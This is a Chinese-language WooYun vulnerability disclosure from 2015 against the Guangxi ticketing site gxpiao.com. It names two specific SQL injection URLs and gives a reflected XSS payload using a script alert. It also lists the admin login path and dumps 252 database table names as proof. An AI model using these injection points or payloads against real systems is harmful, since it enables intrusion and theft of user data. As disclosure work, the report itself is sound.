当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110881

漏洞标题:广西票务网注射漏洞+反射型XSS漏洞,百万数据泄露大量账号有余额可消费

相关厂商:广西票务网

漏洞作者: 路人甲

提交时间:2015-04-29 21:15

修复时间:2015-06-13 21:16

公开时间:2015-06-13 21:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-06-13: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

注入漏洞 XSS漏洞 用户数据泄露

详细说明:

注入点:
http://www.gxpiao.com/Movie_page1.aspx?dyyid=1
http://www.gxpiao.com/Movie_page2.aspx?dybm=1

1.jpg


2.jpg


反射型XSS漏洞:
http://www.gxpiao.com/Movie_page1.aspx?dyyid="><script>alert(/乌云/)</script>

4.jpg


后台
http://www.gxpiao.com/manage/login.aspx

漏洞证明:

商家名称
商家类型
密码
权限
用户名
Database: gxpwdb
[252 tables]
+----------------------------+
| AppDownInfo |
| AppFeedBack |
| AppMobileCount |
| AppMobileLog |
| AppMobileLogin |
| AppMobilePoLogin |
| AppPrizeList |
| AppPrizeRecord |
| AppPrizeUser |
| CM_CG_Fjb |
| CM_CG_Fpd |
| CM_CG_FpdMx |
| CM_CG_SpcfMx |
| CM_CG_Spcfd |
| CM_CG_Sppc |
| CM_CG_SpzzMx |
| CM_CG_Spzzd |
| CM_CG_dd |
| CM_CG_ddMx |
| CM_CG_fkd |
| CM_CG_fkdMx |
| CM_CG_pdd |
| CM_CG_pddMx |
| CM_CG_thd |
| CM_CG_thdMx |
| CM_CK_CkdMx |
| CM_CK_Ckdb |
| CM_CK_Rkdb |
| CM_CK_Yj |
| CM_CK_ckd |
| CM_CK_dbd |
| CM_CK_dbdMx |
| CM_CK_rkd |
| CM_CK_rkdMx |
| CM_CW_Gdzcgl |
| CM_CW_Zcd |
| CM_CW_Zjsrd |
| CM_CW_Zzd |
| CM_CW_cwkm |
| CM_Jxc_Gysfl |
| CM_Jxc_Gysxx |
| CM_Jxc_Khfl |
| CM_Jxc_Khxx |
| CM_Jxc_Spfzb |
| CM_Jxc_Splb |
| CM_Jxc_Spxx |
| CM_Jxc_Spzzb |
| CM_OA_Bwl |
| CM_OA_Skk |
| CM_OA_Ss |
| CM_OA_Ssap |
| CM_OA_Ssfj |
| CM_OA_Txfs |
| CM_OA_Ygssb |
| CM_Qt_XS_Hyjfkj |
| CM_Qt_XS_Hykjb |
| CM_Qt_XS_Hykzl |
| CM_Qt_XS_Khda |
| CM_Qt_XS_Qtjjb |
| CM_Qt_XS_Qtth |
| CM_Qt_XS_QtthMx |
| CM_Qt_XS_Qtxs |
| CM_Qt_XS_QtxsMx |
| CM_Qt_XS_Qtxsdp |
| CM_XS_Fpd |
| CM_XS_FpdMx |
| CM_XS_Kpd |
| CM_XS_KpdMx |
| CM_XS_xsckd |
| CM_XS_xsckdMx |
| CM_XS_xsdd |
| CM_XS_xsddMx |
| CM_XS_xsskd |
| CM_XS_xsskdMx |
| CM_XS_xsthd |
| CM_XS_xsthdMx |
| CM_Xtrz |
| CM_Xtrzxm |
| CM_Yj_Gyszkye |
| CM_Yj_Khzkyj |
| CM_ZtManagement |
| D99_CMD |
| D99_Tmp |
| JC_Airport |
| Jb_Rygw |
| Jc_Bm |
| Jc_Button |
| Jc_Ck |
| Jc_Dw |
| Jc_Dy_CK_Bm |
| Jc_Dy_Menu_Button |
| Jc_Dy_Role_System |
| Jc_Dy_Users_Gw |
| Jc_Dy_Users_Role |
| Jc_GnWeb |
| Jc_Jmgxx |
| Jc_Kjqj |
| Jc_Mj |
| Jc_Role |
| Jc_Ryda |
| Jc_Rygwb |
| Jc_System |
| Jc_SystemMenu |
| Jc_Users |
| Jc_Xtcs |
| Jc_YhGzzm |
| Jc_YhZc |
| Jc_airtype |
| M_Advertis |
| M_AdvertisType |
| M_AgenPrice |
| M_ApplyDetailTable |
| M_ApplyTable |
| M_Area |
| M_Code |
| M_Cuxiao |
| M_Ddlczt |
| M_Ddlczt_bak |
| M_Ddzt |
| M_Fapiao |
| M_Fenxiao_Mb |
| M_Fenxiao_Mb_Mx |
| M_Fenxiao_log |
| M_Fenxiao_sjjg |
| M_Flight |
| M_HomePageCfg_UnWork |
| M_HomePageCfg_UnWork2 |
| M_HomePageCfg_Working |
| M_HomePageCfg_Working2 |
| M_HotelInfo |
| M_HotelInfo_JD |
| M_HotelInfo_JD_Mx |
| M_HotelInfo_Mx |
| M_Integral |
| M_Member |
| M_Member_bank |
| M_Menpiao |
| M_Menpiao_Mx |
| M_Menpiao_hd |
| M_Movie |
| M_MovieSite |
| M_MovieTicket |
| M_MovieTime |
| M_Movie_Mx |
| M_Perform |
| M_Perform_Config |
| M_Perform_cc |
| M_Perfrom_JD |
| M_Perfrom_JD_MX |
| M_Perfrom_jw |
| M_Perfrom_yccg |
| M_Psfs |
| M_QA |
| M_SecondBuy |
| M_Spdz |
| M_Splike |
| M_Substation |
| M_UserCollect |
| M_Voucher |
| M_Voucher_MX |
| M_Xianlu_hd |
| M_Zcsx |
| M_about |
| M_airline_JD |
| M_airline_JD_Mx |
| M_airline_JD_PNR |
| M_airline_Xx |
| M_codeMachine |
| M_dianzipiao |
| M_dianzipiao_Mx |
| M_hotSearch |
| M_inMoney |
| M_member_money |
| M_member_moneyCash |
| M_member_value |
| M_menpiao_JD |
| M_menpiao_JD2 |
| M_menpiao_JD_Mx |
| M_menpiao_JD_Mx2 |
| M_merchant |
| M_merchant_group |
| M_merchant_user |
| M_message |
| M_mooncake |
| M_mooncake_Dst |
| M_mooncake_FL |
| M_mooncake_JD |
| M_mooncake_JD_MX |
| M_movieTicket_JD |
| M_movieTicket_JD_Mx |
| M_project |
| M_qpdj |
| M_subject |
| M_telList |
| M_xianlu |
| M_xianlu_JD |
| M_xianlu_JD_Mx |
| M_xianlu_Mx |
| M_xianlu_back |
| M_ycyd |
| NFCUser |
| N_News |
| SMS |
| SMS_MO |
| SMS_MO_meeting |
| SMS_meeting |
| Sys_Table_No |
| UV_CM_CG_dd |
| UV_CM_CG_rkd |
| UV_CM_GnQx |
| UV_Fenxiao_MX |
| UV_GXPW_Pay |
| UV_Jc_Users |
| UV_Menu_Button |
| UV_Moon_Pay |
| UV_MovieTicket_JD |
| UV_MovieTicket_Time |
| UV_Order_recycling |
| UV_Perform_Phone |
| UV_Perfrom_JD |
| UV_Ry |
| UV_Splb_Spxx |
| UV_Spxx_Spfzb |
| UV_User_Orders |
| UV_User_menpiao |
| UV_User_xianlu |
| UV_Users_Role |
| UV_airticket |
| UV_airticket_caiwu |
| UV_menpiao_JD_Count_report |
| UV_menpiao_JD_report |
| UV_menpiao_jd_fenxiao |
| UV_message |
| UV_perform_All |
| UV_perform_cg |
| UV_perfrom_jd_MX |
| UV_user_mooncake |
| UV_user_qpdj |
| View_1 |
| View_2 |
| View_3 |
| View_ycmc |
| View_商家账号
| W_JingDian_OnlineCfg |
| W_SUBSTATION_CFG |
| W_SubStation_Pos |
| YoungTb |
| audit_table |
| buser |
| errCode |
| m_JD_number |
| vM_menpiao_hd |
+----------------------------+

1.jpg


2.jpg


3.jpg


4.jpg


5.jpg

修复方案:

过滤过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)